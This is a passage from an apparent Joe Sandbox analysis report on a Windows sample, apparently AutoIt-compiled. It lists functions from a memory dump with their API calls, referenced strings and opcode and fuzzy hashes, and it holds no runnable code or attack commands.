inet_ntoa.WSOCK32(?), ref: 00C34B01
_strcat.LIBCMT ref: 00C34B0F
_wcscpy.LIBCMT ref: 00C34B26
WSACleanup.WSOCK32 ref: 00C34B34
_wcscpy.LIBCMT ref: 00C34B42

Strings

0.0.0.0, xrefs: 00C34ADD

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 8e60675eba1089ed638bc4f90f6192bd7f052c9f7c0b797833c897c1e27d63cd
Instruction ID: 74882a5f2b972e26787b317a92e99cc5923ba912b436a3e6cc7147f7937c182e
Opcode Fuzzy Hash: 8e60675eba1089ed638bc4f90f6192bd7f052c9f7c0b797833c897c1e27d63cd
Instruction Fuzzy Hash: 61112432914108ABCB24BBA19C4AFEFB7BCDF40314F1401B5F105A7092EFB0EA859B91

Function 00C3539D Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00C353A2

Part of subcall function 00BF074E: timeGetTime.WINMM(?,00000002,00BDC22C), ref: 00BF0752

Sleep.KERNEL32(0000000A), ref: 00C353CE
EnumThreadWindows.USER32(?,Function_00065350,00000000), ref: 00C353F2
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00C35414
SetActiveWindow.USER32 ref: 00C35433
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00C35441
SendMessageW.USER32(00000010,00000000,00000000), ref: 00C35460
Sleep.KERNEL32(000000FA), ref: 00C3546B
IsWindow.USER32 ref: 00C35477
EndDialog.USER32(00000000), ref: 00C35488

Strings

BUTTON, xrefs: 00C35406

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 991bfa7e9bd7ae0fc0fd604c5d7379d43016c43b24af92a19c2085ceccd0a61c
Instruction ID: 23a657f6054fa81543f21a5f481e8cb912e65c8e5c93e4c8fd55a9511e2a7fe0
Opcode Fuzzy Hash: 991bfa7e9bd7ae0fc0fd604c5d7379d43016c43b24af92a19c2085ceccd0a61c
Instruction Fuzzy Hash: 5C21D570229A09AFE7906B31ED8DB2F3B69EB46346F241515F511921B1CBF1CE50DB23

Function 00C3DA3D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

CoInitialize.OLE32(00000000), ref: 00C3DA9A
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00C3DB2D
SHGetDesktopFolder.SHELL32(?), ref: 00C3DB41
CoCreateInstance.OLE32(00C63D4C,00000000,00000001,00C89BEC,?), ref: 00C3DB8D
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00C3DBFC
CoTaskMemFree.OLE32(?,?), ref: 00C3DC54
_memset.LIBCMT ref: 00C3DC91
SHBrowseForFolderW.SHELL32(?), ref: 00C3DCCD
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00C3DCF0
CoTaskMemFree.OLE32(00000000), ref: 00C3DCF7
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00C3DD2E
CoUninitialize.OLE32(00000001,00000000), ref: 00C3DD30

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 1cf9868513f0bfe94cac9fb7384ce674142a38a5325a20155754f61e6b71fdaf
Instruction ID: 900afc398ee51c7130db998cb764ad29b1afd5de797939b042166f5351d49ac2
Opcode Fuzzy Hash: 1cf9868513f0bfe94cac9fb7384ce674142a38a5325a20155754f61e6b71fdaf
Instruction Fuzzy Hash: 9DB1FB75A10109AFDB14DFA4D888EAEBBF9EF48304F148499F906EB251DB30AD45CB50

Function 00C30687 Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C30702
SetKeyboardState.USER32(?), ref: 00C3076D
GetAsyncKeyState.USER32(000000A0), ref: 00C3078D
GetKeyState.USER32(000000A0), ref: 00C307A4
GetAsyncKeyState.USER32(000000A1), ref: 00C307D3
GetKeyState.USER32(000000A1), ref: 00C307E4
GetAsyncKeyState.USER32(00000011), ref: 00C30810
GetKeyState.USER32(00000011), ref: 00C3081E
GetAsyncKeyState.USER32(00000012), ref: 00C30847
GetKeyState.USER32(00000012), ref: 00C30855
GetAsyncKeyState.USER32(0000005B), ref: 00C3087E
GetKeyState.USER32(0000005B), ref: 00C3088C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3d6ee20f49c634d6d76118337478621aa6367723c7f8482867e71ce801eef5e7
Instruction ID: cfc9597ab3d4110da925e9215df1adc5449f96ab73f5f90d4dc27171172fb216
Opcode Fuzzy Hash: 3d6ee20f49c634d6d76118337478621aa6367723c7f8482867e71ce801eef5e7
Instruction Fuzzy Hash: 2051B93291478829FB35E7B084257EBBFB49F01340F18459ED9D2575C3DA54AB8CCBA2

Function 00C2CBE3 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00C2CBFF
GetWindowRect.USER32(00000000,?), ref: 00C2CC11
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00C2CC6F
GetDlgItem.USER32(?,00000002), ref: 00C2CC7A
GetWindowRect.USER32(00000000,?), ref: 00C2CC8C
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00C2CCE0
GetDlgItem.USER32(?,000003E9), ref: 00C2CCEE
GetWindowRect.USER32(00000000,?), ref: 00C2CCFF
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00C2CD42
GetDlgItem.USER32(?,000003EA), ref: 00C2CD50
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00C2CD6D
InvalidateRect.USER32(?,00000000,00000001), ref: 00C2CD7A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: c0602e3cf69010aa6bd36f657bb69fa06d681a7597e420024fa73c0e01d564cc
Instruction ID: f7a75caa4b2bf3d5231113d1166bf65fa748ef5ff7ee545a4e33079314fc2f01
Opcode Fuzzy Hash: c0602e3cf69010aa6bd36f657bb69fa06d681a7597e420024fa73c0e01d564cc
Instruction Fuzzy Hash: 97513471B00605AFDB18CF69DD85BAEBBB5EB88310F14812DF516E7691D7B0DE008B50

Function 00BD23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BD2412,?,00000000,?,?,?,?,00BD1AA7,00000000,?), ref: 00BD1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00BD24AF
KillTimer.USER32(-00000001,?,?,?,?,00BD1AA7,00000000,?,?,00BD1EBE,?,?), ref: 00BD254A
DestroyAcceleratorTable.USER32(00000000), ref: 00C0BF17
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BD1AA7,00000000,?,?,00BD1EBE,?,?), ref: 00C0BF48
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BD1AA7,00000000,?,?,00BD1EBE,?,?), ref: 00C0BF5F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BD1AA7,00000000,?,?,00BD1EBE,?,?), ref: 00C0BF7B
DeleteObject.GDI32(00000000), ref: 00C0BF8D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 70bc77c2121e4c9b845d3145c45914d2f93aedc9e8322238f6ed25c364a8aad8
Instruction ID: 0320dc34deed053616571c1fc1c1789da8dd854993073c07d180c1a9c1cadc6c
Opcode Fuzzy Hash: 70bc77c2121e4c9b845d3145c45914d2f93aedc9e8322238f6ed25c364a8aad8
Instruction Fuzzy Hash: 1461A734100652DFCB259F18D988B2AB7F1FF60316F20896AE95257BE0D771AD80DF90

Function 00BD2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00BD29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BD29BC

GetSysColor.USER32(0000000F), ref: 00BD25AF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 36cb0f047f185fe05910366d5d2bf88723f2e1eda9e405ec1da13d90db56a921
Instruction ID: 7b144f61b9fe5305b74e9ab49bd9b17c288d8fc046c0dc727ab7a74202c19930
Opcode Fuzzy Hash: 36cb0f047f185fe05910366d5d2bf88723f2e1eda9e405ec1da13d90db56a921
Instruction Fuzzy Hash: A741C5300042809FDB255F28DC88BBD77A5EB26335F1543A2FD669A2E6E770CD41DB21

Function 00BE29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00BF0AB6: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00BE2A3E,?,00008000), ref: 00BF0AD2

Part of subcall function 00BF01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BE2A58,?,00008000), ref: 00BF01CF

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BE2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00BE2C2C

Part of subcall function 00BE3EBE: _wcscpy.LIBCMT ref: 00BE3EF6

Part of subcall function 00BF379F: _iswctype.LIBCMT ref: 00BF37A7

Strings

EA06, xrefs: 00C1FCC8
Unterminated string, xrefs: 00C20056
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00C1FC97
Bad directive syntax error, xrefs: 00C2000F
Error opening the file, xrefs: 00C1FCB3, 00C1FD2A
AU3!, xrefs: 00BE2A93

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 99d22f262f049acbea1d4f6b3c3d10ce1cbccff3545ea291d4b8465c1d45d608
Instruction ID: ec8828c7b5c7696b037f0ee755abf4dbfb1ade2d43dd9055389c3f24bec76b62
Opcode Fuzzy Hash: 99d22f262f049acbea1d4f6b3c3d10ce1cbccff3545ea291d4b8465c1d45d608
Instruction Fuzzy Hash: 7102B3701083819FC724EF25C891AAFBBE5FF85314F10496DF595932A2DB30DA4ADB42

Function 00C3AD57 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00C60980), ref: 00C3ADBB
GetDriveTypeW.KERNEL32(00000061,00C89970,00000061), ref: 00C3AE85
_wcscpy.LIBCMT ref: 00C3AEAF

Strings

network, xrefs: 00C3AE19
ramdisk, xrefs: 00C3AE2F
all, xrefs: 00C3ADC1
removable, xrefs: 00C3ADED
unknown, xrefs: 00C3AE46
cdrom, xrefs: 00C3ADD7
fixed, xrefs: 00C3AE03

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 9a2723c508d0e5771d93b656c006a5f5d54f34947f1bed9bcadf3b58aa74e561
Instruction ID: 8760bb94ac1026af96703fcd3242bbde63bf10a3219df428d2bdadd8231ec17d
Opcode Fuzzy Hash: 9a2723c508d0e5771d93b656c006a5f5d54f34947f1bed9bcadf3b58aa74e561
Instruction Fuzzy Hash: 9251B0701283019BC714EF15C891AABB7E9FF84304F50486DF5AA572A2DB719E29CB92

Function 00BD4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00BD4D62
__swprintf.LIBCMT ref: 00BD4DAC
__i64tow.LIBCMT ref: 00C0DA6B

Strings

%.15g, xrefs: 00BD4DA6
False, xrefs: 00C0DA33
0x%p, xrefs: 00C0DA4D
True, xrefs: 00C0DA2C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 30a396eb4a5e5c55aa8ac0d261b93f4a6cf20dca4129d84d5004db6909d10b62
Instruction ID: 47caa7f5c875ea6faea52f14609387acbe59dd436888e8346350f4c4a4a401a4
Opcode Fuzzy Hash: 30a396eb4a5e5c55aa8ac0d261b93f4a6cf20dca4129d84d5004db6909d10b62
Instruction Fuzzy Hash: DD41E771614209AFDB24EF74C882E7AB3E9EF44300F2444AEE15AD7291FB319E41DB10

Function 00C5753F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C57557
CreateMenu.USER32 ref: 00C57572
SetMenu.USER32(?,00000000), ref: 00C57581
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C5760E
IsMenu.USER32(?), ref: 00C57624
CreatePopupMenu.USER32 ref: 00C5762E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C5765B
DrawMenuBar.USER32 ref: 00C57663

Strings

F, xrefs: 00C5764F
0, xrefs: 00C5754D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 0a0494104987b6a955095730ebd31027e816e1d91888715c238be2856444c82e
Instruction ID: b40aaf736e6d10a57cc2e5646f1ef47fcd3bdc5187ff0d10e1256e011ab36504
Opcode Fuzzy Hash: 0a0494104987b6a955095730ebd31027e816e1d91888715c238be2856444c82e
Instruction Fuzzy Hash: E8415978A00205EFDB20DF65E844B9A7BB5FF48341F140129FD15A73A0DB70AA54CF98

Function 00C578A8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00C5794B
CreateCompatibleDC.GDI32(00000000), ref: 00C57952
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00C57965
SelectObject.GDI32(00000000,00000000), ref: 00C5796D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00C57978
DeleteDC.GDI32(00000000), ref: 00C57981
GetWindowLongW.USER32(?,000000EC), ref: 00C5798B
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00C5799F
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00C579AB

Strings

static, xrefs: 00C578E3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 03c7b03ac97e9f0ba8ee5057b19f8eef60c7b48a09723059cd82300b8637649c
Instruction ID: 05ea092bf372da8af1de72daa46de614affcda4c1665111c4d0c35ca7be83773
Opcode Fuzzy Hash: 03c7b03ac97e9f0ba8ee5057b19f8eef60c7b48a09723059cd82300b8637649c
Instruction Fuzzy Hash: 06317A36104119ABDF229F65EC09FDF3B69EF09321F200315FA65A21A0C771D9A5DBA8

Function 00BF6F60 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BF6F9B

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

__gmtime64_s.LIBCMT ref: 00BF7034
__gmtime64_s.LIBCMT ref: 00BF706A
__gmtime64_s.LIBCMT ref: 00BF7087
__allrem.LIBCMT ref: 00BF70DD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BF70F9
__allrem.LIBCMT ref: 00BF7110
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BF712E
__allrem.LIBCMT ref: 00BF7145
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BF7163
__invoke_watson.LIBCMT ref: 00BF71D4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 4aa081e2d091c1d848a5ade2ee1859c9752db03481f43e8ead5f25c1094293a9
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 4E71D871A4071AABD7149E79DC42B7AB3E8EF10764F1442B9FA14E76C1EB70DA0887D0

Function 00C32B3A Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C32B55
GetMenuItemInfoW.USER32(00C96890,000000FF,00000000,00000030), ref: 00C32BB6
SetMenuItemInfoW.USER32(00C96890,00000004,00000000,00000030), ref: 00C32BEC
Sleep.KERNEL32(000001F4), ref: 00C32BFE
GetMenuItemCount.USER32(?), ref: 00C32C42
GetMenuItemID.USER32(?,00000000), ref: 00C32C5E
GetMenuItemID.USER32(?,-00000001), ref: 00C32C88
GetMenuItemID.USER32(?,?), ref: 00C32CCD
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C32D13
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C32D27
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C32D48

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 5c05d98919a6b95f6e759a100d06afdbc08f3ebf62887fa8f5e04db427faaed7
Instruction ID: b944c8986de5e0cf393b1516089577314a5423ec1d7ce5ef2d73bbbcc72f5385
Opcode Fuzzy Hash: 5c05d98919a6b95f6e759a100d06afdbc08f3ebf62887fa8f5e04db427faaed7
Instruction Fuzzy Hash: 3F6194B0910249AFDF21CF65DC88EBFBBB8FB41304F240459E852A7291D771AE45DB61

Function 00C57310 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00C57392
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00C57395
GetWindowLongW.USER32(?,000000F0), ref: 00C573B9
_memset.LIBCMT ref: 00C573CA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00C573DC
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00C57454

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

